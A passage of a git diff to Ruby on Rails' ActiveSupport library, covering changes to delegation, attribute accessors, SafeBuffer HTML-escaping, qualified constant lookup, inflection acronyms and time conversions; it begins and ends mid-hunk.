b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb index 871f5cef3b..be94ae1565 100644 --- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb +++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb @@ -12,7 +12,7 @@ class Module end EOS - unless options[:instance_reader] == false + unless options[:instance_reader] == false || options[:instance_accessor] == false class_eval(<<-EOS, __FILE__, __LINE__ + 1) def #{sym} @@#{sym} @@ -31,7 +31,7 @@ class Module end EOS - unless options[:instance_writer] == false + unless options[:instance_writer] == false || options[:instance_accessor] == false class_eval(<<-EOS, __FILE__, __LINE__ + 1) def #{sym}=(obj) @@#{sym} = obj @@ -53,6 +53,10 @@ class Module # end # # AppConfiguration.google_api_key = "overriding the api key!" + # + # To opt out of the instance writer method, pass :instance_writer => false. + # To opt out of the instance reader method, pass :instance_reader => false. + # To opt out of both instance methods, pass :instance_accessor => false. def mattr_accessor(*syms) mattr_reader(*syms) mattr_writer(*syms) diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb index 3a7652f5bf..7de824a77f 100644 --- a/activesupport/lib/active_support/core_ext/module/delegation.rb +++ b/activesupport/lib/active_support/core_ext/module/delegation.rb @@ -1,5 +1,3 @@ -require "active_support/core_ext/module/remove_method" - class Module # Provides a delegate class method to easily expose contained objects' methods # as your own. Pass one or more methods (specified as symbols or strings) @@ -108,39 +106,48 @@ class Module unless options.is_a?(Hash) && to = options[:to] raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)." end + prefix, to, allow_nil = options[:prefix], options[:to], options[:allow_nil] - if options[:prefix] == true && options[:to].to_s =~ /^[^a-z_]/ + if prefix == true && to.to_s =~ /^[^a-z_]/ raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method." end - prefix = options[:prefix] && "#{options[:prefix] == true ? to : options[:prefix]}_" || '' + method_prefix = + if prefix + "#{prefix == true ? to : prefix}_" + else + '' + end file, line = caller.first.split(':', 2) line = line.to_i methods.each do |method| - on_nil = - if options[:allow_nil] - 'return' - else - %(raise "#{self}##{prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}") - end + method = method.to_s - module_eval(<<-EOS, file, line - 5) - if instance_methods(false).map(&:to_s).include?("#{prefix}#{method}") - remove_possible_method("#{prefix}#{method}") - end + if allow_nil + module_eval(<<-EOS, file, line - 2) + def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block) + if #{to} || #{to}.respond_to?(:#{method}) # if client || client.respond_to?(:name) + #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block) + end # end + end # end + EOS + else + exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}") - def #{prefix}#{method}(*args, &block) # def customer_name(*args, &block) - #{to}.__send__(#{method.inspect}, *args, &block) # client.__send__(:name, *args, &block) - rescue NoMethodError # rescue NoMethodError - if #{to}.nil? # if client.nil? - #{on_nil} # return # depends on :allow_nil - else # else - raise # raise - end # end - end # end - EOS + module_eval(<<-EOS, file, line - 1) + def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block) + #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block) + rescue NoMethodError # rescue NoMethodError + if #{to}.nil? # if client.nil? + #{exception} # # add helpful message to the exception + else # else + raise # raise + end # end + end # end + EOS + end end end end diff --git a/activesupport/lib/active_support/core_ext/module/qualified_const.rb b/activesupport/lib/active_support/core_ext/module/qualified_const.rb new file mode 100644 index 0000000000..d1a0ee2f83 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/module/qualified_const.rb @@ -0,0 +1,64 @@ +require 'active_support/core_ext/string/inflections' + +#-- +# Allows code reuse in the methods below without polluting Module. +#++ +module QualifiedConstUtils + def self.raise_if_absolute(path) + raise NameError, "wrong constant name #$&" if path =~ /\A::[^:]+/ + end + + def self.names(path) + path.split('::') + end +end + +## +# Extends the API for constants to be able to deal with qualified names. Arguments +# are assumed to be relative to the receiver. +# +#-- +# Qualified names are required to be relative because we are extending existing +# methods that expect constant names, ie, relative paths of length 1. For example, +# Object.const_get("::String") raises NameError and so does qualified_const_get. +#++ +class Module + if method(:const_defined?).arity == 1 + def qualified_const_defined?(path) + QualifiedConstUtils.raise_if_absolute(path) + + QualifiedConstUtils.names(path).inject(self) do |mod, name| + return unless mod.const_defined?(name) + mod.const_get(name) + end + return true + end + else + def qualified_const_defined?(path, search_parents=true) + QualifiedConstUtils.raise_if_absolute(path) + + QualifiedConstUtils.names(path).inject(self) do |mod, name| + return unless mod.const_defined?(name, search_parents) + mod.const_get(name) + end + return true + end + end + + def qualified_const_get(path) + QualifiedConstUtils.raise_if_absolute(path) + + QualifiedConstUtils.names(path).inject(self) do |mod, name| + mod.const_get(name) + end + end + + def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) + end +end diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb index 443d2c3d53..5d3d0e9851 100644 --- a/activesupport/lib/active_support/core_ext/module/reachable.rb +++ b/activesupport/lib/active_support/core_ext/module/reachable.rb @@ -3,8 +3,6 @@ require 'active_support/core_ext/string/inflections' class Module def reachable? #:nodoc: - !anonymous? && name.constantize.equal?(self) - rescue NameError - false + !anonymous? && name.safe_constantize.equal?(self) end end diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb index 07d7c9b018..b76bc16ee1 100644 --- a/activesupport/lib/active_support/core_ext/module/remove_method.rb +++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb @@ -1,11 +1,16 @@ class Module def remove_possible_method(method) - remove_method(method) + if method_defined?(method) || private_method_defined?(method) + remove_method(method) + end rescue NameError + # If the requested method is defined on a superclass or included module, + # method_defined? returns true but remove_method throws a NameError. + # Ignore this. end def redefine_method(method, &block) remove_possible_method(method) define_method(method, &block) end -end
\ No newline at end of file +end diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb index fb5abf2aa5..fe27f45295 100644 --- a/activesupport/lib/active_support/core_ext/object/blank.rb +++ b/activesupport/lib/active_support/core_ext/object/blank.rb @@ -1,3 +1,6 @@ +# encoding: utf-8 +require 'active_support/core_ext/string/encoding' + class Object # An object is blank if it's false, empty, or a whitespace string. # For example, "", " ", +nil+, [], and {} are all blank. @@ -22,7 +25,7 @@ class Object # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>. # # This is handy for any representation of objects where blank is the same - # as not present at all. For example, this simplifies a common check for + # as not present at all. For example, this simplifies a common check for # HTTP POST/query parameters: # # state = params[:state] if params[:state].present? @@ -86,14 +89,23 @@ class Hash end class String + # 0x3000: fullwidth whitespace + NON_WHITESPACE_REGEXP = %r![^\s#{[0x3000].pack("U")}]! + # A string is blank if it's empty or contains whitespaces only: # # "".blank? # => true # " ".blank? # => true + # " ".blank? # => true # " something here ".blank? # => false # def blank? - self !~ /\S/ + # 1.8 does not takes [:space:] properly + if encoding_aware? + self !~ /[^[:space:]]/ + else + self !~ NON_WHITESPACE_REGEXP + end end end diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb index 3f1540f685..5d5fcf00e0 100644 --- a/activesupport/lib/active_support/core_ext/object/to_query.rb +++ b/activesupport/lib/active_support/core_ext/object/to_query.rb @@ -7,7 +7,7 @@ class Object # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work. def to_query(key) require 'cgi' unless defined?(CGI) && defined?(CGI::escape) - "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}" + "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}" end end diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb index 544e63132d..43134b4314 100644 --- a/activesupport/lib/active_support/core_ext/range/conversions.rb +++ b/activesupport/lib/active_support/core_ext/range/conversions.rb @@ -7,7 +7,7 @@ class Range # # ==== Example # - # [1..100].to_formatted_s # => "1..100" + # (1..100).to_formatted_s # => "1..100" def to_formatted_s(format = :default) if formatter = RANGE_FORMATS[format] formatter.call(first, last) diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb index 5b2cb6e331..0f8933b658 100644 --- a/activesupport/lib/active_support/core_ext/string/conversions.rb +++ b/activesupport/lib/active_support/core_ext/string/conversions.rb @@ -1,3 +1,4 @@ +# encoding: utf-8 require 'date' require 'active_support/core_ext/time/publicize_conversion_methods' require 'active_support/core_ext/time/calculations' @@ -34,9 +35,9 @@ class String # Form can be either :utc (default) or :local. def to_time(form = :utc) return nil if self.blank? - d = ::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction).map { |arg| arg || 0 } + d = ::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset).map { |arg| arg || 0 } d[6] *= 1000000 - ::Time.send("#{form}_time", *d) + ::Time.send("#{form}_time", *d[0..6]) - d[7] end def to_date diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb index 2f0676f567..1e57b586d9 100644 --- a/activesupport/lib/active_support/core_ext/string/inflections.rb +++ b/activesupport/lib/active_support/core_ext/string/inflections.rb @@ -1,5 +1,4 @@ require 'active_support/inflector/methods' -require 'active_support/inflector/inflections' require 'active_support/inflector/transliterate' # String inflections define new methods on the String class to transform names for different purposes. @@ -10,14 +9,25 @@ require 'active_support/inflector/transliterate' class String # Returns the plural form of the word in the string. # + # If the optional parameter +count+ is specified, + # the singular form will be returned if <tt>count == 1</tt>. + # For any other value of +count+ the plural will be returned. + # + # ==== Examples # "post".pluralize # => "posts" # "octopus".pluralize # => "octopi" # "sheep".pluralize # => "sheep" # "words".pluralize # => "words" # "the blue mailman".pluralize # => "the blue mailmen" # "CamelOctopus".pluralize # => "CamelOctopi" - def pluralize - ActiveSupport::Inflector.pluralize(self) + # "apple".pluralize(1) # => "apple" + # "apple".pluralize(2) # => "apples" + def pluralize(count = nil) + if count == 1 + self + else + ActiveSupport::Inflector.pluralize(self) + end end # The reverse of +pluralize+, returns the singular form of a word in a string. @@ -34,15 +44,28 @@ class String # +constantize+ tries to find a declared constant with the name specified # in the string. It raises a NameError when the name is not in CamelCase - # or is not initialized. + # or is not initialized. See ActiveSupport::Inflector.constantize # # Examples - # "Module".constantize # => Module - # "Class".constantize # => Class + # "Module".constantize # => Module + # "Class".constantize # => Class + # "blargle".constantize # => NameError: wrong constant name blargle def constantize ActiveSupport::Inflector.constantize(self) end + # +safe_constantize+ tries to find a declared constant with the name specified + # in the string. It returns nil when the name is not in CamelCase + # or is not initialized. See ActiveSupport::Inflector.safe_constantize + # + # Examples + # "Module".safe_constantize # => Module + # "Class".safe_constantize # => Class + # "blargle".safe_constantize # => nil + def safe_constantize + ActiveSupport::Inflector.safe_constantize(self) + end + # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize # is set to <tt>:lower</tt> then camelize produces lowerCamelCase. # @@ -94,10 +117,25 @@ class String # # "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections" # "Inflections".demodulize # => "Inflections" + # + # See also +deconstantize+. def demodulize ActiveSupport::Inflector.demodulize(self) end + # Removes the rightmost segment from the constant expression in the string. + # + # "Net::HTTP".deconstantize # => "Net" + # "::Net::HTTP".deconstantize # => "::Net" + # "String".deconstantize # => "" + # "::String".deconstantize # => "" + # "".deconstantize # => "" + # + # See also +demodulize+. + def deconstantize + ActiveSupport::Inflector.deconstantize(self) + end + # Replaces special characters in a string so that it may be used as part of a 'pretty' URL. # # ==== Examples diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb index 41de4d6435..aae1cfccf2 100644 --- a/activesupport/lib/active_support/core_ext/string/multibyte.rb +++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb @@ -35,7 +35,7 @@ class String # object. Interoperability problems can be resolved easily with a +to_s+ call. # # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For - # information about how to change the default Multibyte behaviour see ActiveSupport::Multibyte. + # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte. def mb_chars if ActiveSupport::Multibyte.proxy_class.consumes?(self) ActiveSupport::Multibyte.proxy_class.new(self) diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb index c27cbc37c5..5d7f74bb65 100644 --- a/activesupport/lib/active_support/core_ext/string/output_safety.rb +++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb @@ -20,7 +20,7 @@ class ERB if s.html_safe? s else - s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }.html_safe + s.gsub(/&/, "&").gsub(/\"/, """).gsub(/>/, ">").gsub(/</, "<").html_safe end end @@ -51,7 +51,8 @@ class ERB # <%=j @person.to_json %> # def json_escape(s) - s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] } + result = s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] } + s.html_safe? ? result.html_safe : result end alias j json_escape @@ -66,7 +67,7 @@ class Object end end -class Fixnum +class Numeric def html_safe? true end @@ -74,10 +75,40 @@ end module ActiveSupport #:nodoc: class SafeBuffer < String - alias safe_concat concat + UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase", "prepend"].freeze + + alias_method :original_concat, :concat + private :original_concat + + class SafeConcatError < StandardError + def initialize + super "Could not concatenate to the buffer because it is not html safe." + end + end + + def[](*args) + new_safe_buffer = super + new_safe_buffer.instance_eval { @dirty = false } + new_safe_buffer + end + + def safe_concat(value) + raise SafeConcatError if dirty? + original_concat(value) + end + + def initialize(*) + @dirty = false + super + end + + def initialize_copy(other) + super + @dirty = other.dirty? + end def concat(value) - if value.html_safe? + if dirty? || value.html_safe? super(value) else super(ERB::Util.h(value)) @@ -90,15 +121,15 @@ module ActiveSupport #:nodoc: end def html_safe? - true + !dirty? end - def html_safe + def to_s self end - def to_s - self + def to_param + to_str end def encode_with(coder) @@ -107,17 +138,33 @@ module ActiveSupport #:nodoc: def to_yaml(*args) return super() if defined?(YAML::ENGINE) && !YAML::ENGINE.syck? - to_str.to_yaml(*args) end + + UNSAFE_STRING_METHODS.each do |unsafe_method| + if 'String'.respond_to?(unsafe_method) + class_eval <<-EOT, __FILE__, __LINE__ + 1 + def #{unsafe_method}(*args, &block) # def capitalize(*args, &block) + to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block) + end # end + + def #{unsafe_method}!(*args) # def capitalize!(*args) + @dirty = true # @dirty = true + super # super + end # end + EOT + end + end + + protected + + def dirty? + @dirty + end end end class String - def html_safe! - raise "You can't call html_safe! on a String" - end - def html_safe ActiveSupport::SafeBuffer.new(self) end diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb index 00fda2b370..372dd69212 100644 --- a/activesupport/lib/active_support/core_ext/time/calculations.rb +++ b/activesupport/lib/active_support/core_ext/time/calculations.rb @@ -1,5 +1,6 @@ require 'active_support/duration' require 'active_support/core_ext/time/zones' +require 'active_support/core_ext/time/conversions' class Time COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] @@ -8,7 +9,7 @@ class Time class << self # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances def ===(other) - other.is_a?(::Time) + super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone)) end # Return the number of days in the given month. @@ -226,7 +227,7 @@ class Time end alias :at_end_of_quarter :end_of_quarter - # Returns a new Time representing the start of the year (1st of january, 0:00) + # Returns a new Time representing the start of the year (1st of january, 0:00) def beginning_of_year change(:month => 1, :day => 1, :hour => 0) end @@ -248,6 +249,31 @@ class Time advance(:days => 1) end + # Returns a Range representing the whole day of the current time. + def all_day + beginning_of_day..end_of_day + end + + # Returns a Range representing the whole week of the current time. + def all_week + beginning_of_week..end_of_week + end + + # Returns a Range representing the whole month of the current time. + def all_month + beginning_of_month..end_of_month + end + + # Returns a Range representing the whole quarter of the current time. + def all_quarter + beginning_of_quarter..end_of_quarter + end + + # Returns a Range representing the whole year of the current time. + def all_year + beginning_of_year..end_of_year + end + def plus_with_duration(other) #:nodoc: if ActiveSupport::Duration === other other.since(self) diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb index d9d5e02778..49ac18d245 100644 --- a/activesupport/lib/active_support/core_ext/time/conversions.rb +++ b/activesupport/lib/active_support/core_ext/time/conversions.rb @@ -55,9 +55,31 @@ class Time utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon) end + # Converts a Time object to a Date, dropping hour, minute, and second precision. + # + # my_time = Time.now # => Mon Nov 12 22:59:51 -0500 2007 + # my_time.to_date # => Mon, 12 Nov 2007 + # + # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009 + # your_time.to_date # => Tue, 13 Jan 2009 + def to_date + ::Date.new(year, month, day) + end unless method_defined?(:to_date) + # A method to keep Time, Date and DateTime instances interchangeable on conversions. # In this case, it simply returns +self+. def to_time self end unless method_defined?(:to_time) + + # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset. + # + # my_time = Time.now # => Mon Nov 12 23:04:21 -0500 2007 + # my_time.to_datetime # => Mon, 12 Nov 2007 23:04:21 -0500 + # + # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009 + # your_time.to_datetime # => Tue, 13 Jan 2009 13:13:03 -0500 + def to_datetime + ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400)) + end unless method_defined?(:to_datetime) end diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb index dc10f78104..b3ac271778 100644 --- a/activesupport/lib/active_support/dependencies.rb +++ b/activesupport/lib/active_support/dependencies.rb @@ -5,7 +5,7 @@ require 'active_support/core_ext/module/aliasing' require 'active_support/core_ext/module/attribute_accessors' require 'active_support/core_ext/module/introspection' require 'active_support/core_ext/module/anonymous' -require 'active_support/core_ext/module/deprecation' +require 'active_support/core_ext/module/qualified_const' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/load_error' require 'active_support/core_ext/name_error' @@ -230,11 +230,15 @@ module ActiveSupport #:nodoc: end def load(file, *) - load_dependency(file) { super } + result = false + load_dependency(file) { result = super } + result end def require(file, *) - load_dependency(file) { super } + result = false + load_dependency(file) { result = super } + result end # Mark the given constant as unloadable. Unloadable constants are removed each @@ -354,12 +358,13 @@ module ActiveSupport #:nodoc: end # Is the provided constant path defined? - def qualified_const_defined?(path) - names = path.sub(/^::/, '').to_s.split('::') - - names.inject(Object) do |mod, name| - return false unless local_const_defined?(mod, name) - mod.const_get name + if Module.method(:const_defined?).arity == 1 + def qualified_const_defined?(path) + Object.qualified_const_defined?(path.sub(/^::/, '')) + end + else + def qualified_const_defined?(path) + Object.qualified_const_defined?(path.sub(/^::/, ''), false) end end @@ -418,7 +423,8 @@ module ActiveSupport #:nodoc: end def load_once_path?(path) - autoload_once_paths.any? { |base| path.starts_with? base } + # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false + autoload_once_paths.any? { |base| path.starts_with? base.to_s } end # Attempt to autoload the provided module name by searching for a directory @@ -474,15 +480,11 @@ module ActiveSupport #:nodoc: raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!" end - raise ArgumentError, "#{from_mod} is not missing constant #{const_name}!" if local_const_defined?(from_mod, const_name) + raise NameError, "#{from_mod} is not missing constant #{const_name}!" if local_const_defined?(from_mod, const_name) qualified_name = qualified_name_for from_mod, const_name path_suffix = qualified_name.underscore - trace = caller.reject {|l| l =~ %r{#{Regexp.escape(__FILE__)}}} - name_error = NameError.new("uninitialized constant #{qualified_name}") - name_error.set_backtrace(trace) - file_path = search_for_file(path_suffix) if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load @@ -501,11 +503,12 @@ module ActiveSupport #:nodoc: return parent.const_missing(const_name) rescue NameError => e raise unless e.missing_name? qualified_name_for(parent, const_name) - raise name_error end - else - raise name_error end + + raise NameError, + "uninitialized constant #{qualified_name}", + caller.reject {|l| l.starts_with? __FILE__ } end # Remove the constants that have been autoloaded, and those that have been @@ -550,23 +553,6 @@ module ActiveSupport #:nodoc: end alias :get :[] - class Getter # :nodoc: - def initialize(name) - @name = name - end - - def get - Reference.get @name - end - deprecate :get - end - - def new(name) - self[name] = name - Getter.new(name) - end - deprecate :new - def store(name) self[name] = name self @@ -579,11 +565,6 @@ module ActiveSupport #:nodoc: Reference = ClassCache.new - def ref(name) - Reference.new(name) - end - deprecate :ref - # Store a reference to a class +klass+. def reference(klass) Reference.store klass @@ -651,17 +632,6 @@ module ActiveSupport #:nodoc: return [] end - class LoadingModule #:nodoc: - # Old style environment.rb referenced this method directly. Please note, it doesn't - # actually *do* anything any more. - def self.root(*args) - if defined?(Rails) && Rails.logger - Rails.logger.warn "Your environment.rb uses the old syntax, it may not continue to work in future releases." - Rails.logger.warn "For upgrade instructions please see: http://manuals.rubyonrails.com/read/book/19" - end - end - end - # Convert the provided const desc to a qualified constant name (as a string). # A module, class, symbol, or string may be provided. def to_constant_name(desc) #:nodoc: diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb index da4af339fc..f9505a247c 100644 --- a/activesupport/lib/active_support/deprecation/behaviors.rb +++ b/activesupport/lib/active_support/deprecation/behaviors.rb @@ -7,12 +7,12 @@ module ActiveSupport # Whether to print a backtrace along with the warning. attr_accessor :debug - # Returns the set behaviour or if one isn't set, defaults to +:stderr+ + # Returns the set behavior or if one isn't set, defaults to +:stderr+ def behavior @behavior ||= [DEFAULT_BEHAVIORS[:stderr]] end - # Sets the behaviour to the specified value. Can be a single value or an array. + # Sets the behavior to the specified value. Can be a single value or an array. # # Examples # diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb index 00c67a470d..89b0923882 100644 --- a/activesupport/lib/active_support/duration.rb +++ b/activesupport/lib/active_support/duration.rb @@ -10,6 +10,7 @@ module ActiveSupport # 1.month.ago # equivalent to Time.now.advance(:months => -1) class Duration < BasicObject attr_accessor :value, :parts + delegate :duplicable?, :to => :value # required when using ActiveSupport's BasicObject on 1.8 def initialize(value, parts) #:nodoc: @value, @parts = value, parts diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb index a97e9d7daf..f76ddff038 100644 --- a/activesupport/lib/active_support/file_update_checker.rb +++ b/activesupport/lib/active_support/file_update_checker.rb @@ -22,7 +22,7 @@ module ActiveSupport end def updated_at - paths.map { |path| File.stat(path).mtime }.max + paths.map { |path| File.mtime(path) }.max end def execute_if_updated diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb index 62f9c9aa2e..9651f02c73 100644 --- a/activesupport/lib/active_support/gzip.rb +++ b/activesupport/lib/active_support/gzip.rb @@ -1,5 +1,6 @@ require 'zlib' require 'stringio' +require 'active_support/core_ext/string/encoding' module ActiveSupport # A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip. diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb index 15a3717ea1..636f019cd5 100644 --- a/activesupport/lib/active_support/hash_with_indifferent_access.rb +++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb @@ -6,6 +6,8 @@ require 'active_support/core_ext/hash/keys' module ActiveSupport class HashWithIndifferentAccess < Hash + + # Always returns true, so that <tt>Array#extract_options!</tt> finds members of this class. def extractable_options? true end @@ -110,7 +112,7 @@ module ActiveSupport end end - # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash + # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash. # Does not overwrite the existing hash. def merge(hash) self.dup.update(hash) diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb index 00ea8813dd..f9c5e5e2f8 100644 --- a/activesupport/lib/active_support/i18n.rb +++ b/activesupport/lib/active_support/i18n.rb @@ -2,7 +2,7 @@ begin require 'i18n' require 'active_support/lazy_load_hooks' rescue LoadError => e - $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install" + $stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install" raise e end diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb index a25e951080..4c59fe9ac9 100644 --- a/activesupport/lib/active_support/i18n_railtie.rb +++ b/activesupport/lib/active_support/i18n_railtie.rb @@ -1,5 +1,4 @@ require "active_support" -require "rails" require "active_support/file_update_checker" require "active_support/core_ext/array/wrap" @@ -38,6 +37,8 @@ module I18n protected + @i18n_inited = false + # Setup i18n configuration def self.initialize_i18n(app) return if @i18n_inited diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb index 06ceccdb22..daf2a1e1d9 100644 --- a/activesupport/lib/active_support/inflections.rb +++ b/activesupport/lib/active_support/inflections.rb @@ -54,6 +54,7 @@ module ActiveSupport inflect.irregular('sex', 'sexes') inflect.irregular('move', 'moves') inflect.irregular('cow', 'kine') + inflect.irregular('zombie', 'zombies') inflect.uncountable(%w(equipment information rice money species series fish sheep jeans)) end diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb index d5d55b7207..90bb62f57b 100644 --- a/activesupport/lib/active_support/inflector/inflections.rb +++ b/activesupport/lib/active_support/inflector/inflections.rb @@ -20,10 +20,61 @@ module ActiveSupport @__instance__ ||= new end - attr_reader :plurals, :singulars, :uncountables, :humans + attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex def initialize - @plurals, @singulars, @uncountables, @humans = [], [], [], [] + @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], [], [], {}, /(?=a)b/ + end + + # Specifies a new acronym. An acronym must be specified as it will appear in a camelized string. An underscore + # string that contains the acronym will retain the acronym when passed to `camelize`, `humanize`, or `titleize`. + # A camelized string that contains the acronym will maintain the acronym when titleized or humanized, and will + # convert the acronym into a non-delimited single lowercase word when passed to +underscore+. + # + # Examples: + # acronym 'HTML' + # titleize 'html' #=> 'HTML' + # camelize 'html' #=> 'HTML' + # underscore 'MyHTML' #=> 'my_html' + # + # The acronym, however, must occur as a delimited unit and not be part of another word for conversions to recognize it: + # + # acronym 'HTTP' + # camelize 'my_http_delimited' #=> 'MyHTTPDelimited' + # camelize 'https' #=> 'Https', not 'HTTPs' + # underscore 'HTTPS' #=> 'http_s', not 'https' + # + # acronym 'HTTPS' + # camelize 'https' #=> 'HTTPS' + # underscore 'HTTPS' #=> 'https' + # + # Note: Acronyms that are passed to `pluralize` will no longer be recognized, since the acronym will not occur as + # a delimited unit in the pluralized result. To work around this, you must specify the pluralized form as an + # acronym as well: + # + # acronym 'API' + # camelize(pluralize('api')) #=> 'Apis' + # + # acronym 'APIs' + # camelize(pluralize('api')) #=> 'APIs' + # + # `acronym` may be used to specify any word that contains an acronym or otherwise needs to maintain a non-standard + # capitalization. The only restriction is that the word must begin with a capital letter. + # + # Examples: + # acronym 'RESTful' + # underscore 'RESTful' #=> 'restful' + # underscore 'RESTfulController' #=> 'restful_controller' + # titleize 'RESTfulController' #=> 'RESTful Controller' + # camelize 'restful' #=> 'RESTful' + # camelize 'restful_controller' #=> 'RESTfulController' + # + # acronym 'McDonald' + # underscore 'McDonald' #=> 'mcdonald' + # camelize 'mcdonald' #=> 'McDonald' + def acronym(word) + @acronyms[word.downcase] = word + @acronym_regex = /#{@acronyms.values.join("|")}/ end # Specifies a new pluralization rule and its replacement. The rule can either be a string or a regular expression. @@ -117,95 +168,5 @@ module ActiveSupport Inflections.instance end end - - # Returns the plural form of the word in the string. - # - # Examples: - # "post".pluralize # => "posts" - # "octopus".pluralize # => "octopi" - # "sheep".pluralize # => "sheep" - # "words".pluralize # => "words" - # "CamelOctopus".pluralize # => "CamelOctopi" - def pluralize(word) - result = word.to_s.dup - - if word.empty? || inflections.uncountables.include?(result.downcase) - result - else - inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) } - result - end - end - - # The reverse of +pluralize+, returns the singular form of a word in a string. - # - # Examples: - # "posts".singularize # => "post" - # "octopi".singularize # => "octopus" - # "sheep".singularize # => "sheep" - # "word".singularize # => "word" - # "CamelOctopi".singularize # => "CamelOctopus" - def singularize(word) - result = word.to_s.dup - - if inflections.uncountables.any? { |inflection| result =~ /\b(#{inflection})\Z/i } - result - else - inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) } - result - end - end - - # Capitalizes the first word and turns underscores into spaces and strips a - # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output. - # - # Examples: - # "employee_salary" # => "Employee salary" - # "author_id" # => "Author" - def humanize(lower_case_and_underscored_word) - result = lower_case_and_underscored_word.to_s.dup - - inflections.humans.each 